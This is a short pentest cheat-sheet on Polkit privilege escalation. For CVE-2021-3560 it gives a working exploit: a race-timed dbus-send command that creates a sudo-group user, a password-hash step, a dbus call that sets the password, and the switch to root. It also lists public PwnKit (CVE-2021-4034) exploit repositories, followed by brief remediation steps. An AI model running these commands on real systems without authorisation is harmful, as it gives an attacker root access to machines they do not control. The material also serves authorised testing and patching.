PolKit Privilege Escalation

Polkit (PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones.

CVE-2021-3560

1. Send a dbus message to create a new user

Create a new user by sending a dbus message.

# string:tester: The new user named "tester".
# string:"Tester Account": The description of the new user.
# int32:1: sudo group
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:tester string:"Tester Account" int32:1 & sleep 0.005s; kill $!
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Then check the new user ID (uid).

id tester

uid=1000(tester) gid=1000(tester) groups=1000(tester),27(sudo)
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2. Generate a new password hash

# -6: SHA512
openssl passwd -6 password123
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Copy the output hash.

3. Send a dbus message to set a new password

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'<password_hash>' string:'Ask the tester' & sleep 0.005s; kill $!
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4. Switch the new user

su tester
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Enter the password you created e.g. “password123”. Now change to root .

sudo -s
# or
sudo su root
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CVE-2021-4034 (PwnKit)

PwnKit is vulnerability of Polkit to local privilege escalation. There are many exploits available. Below are examples:

• https://github.com/arthepsy/CVE-2021-4034

• https://github.com/ly4k/PwnKit

• https://github.com/berdav/CVE-2021-4034

• https://github.com/Almorabea/pkexec-exploit (this is written by Python)

Remediations

To avoid the vulnerability, unset setuid from the pkexec executable.

sudo chmod 0755 /usr/bin/pkexec
# or
sudo chmod 0755 `which pkexec`
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Or simply upgrade the apt packages in most of distributions which are patched for the vulnerability.

sudo apt update && sudo apt upgrade
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References

• https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt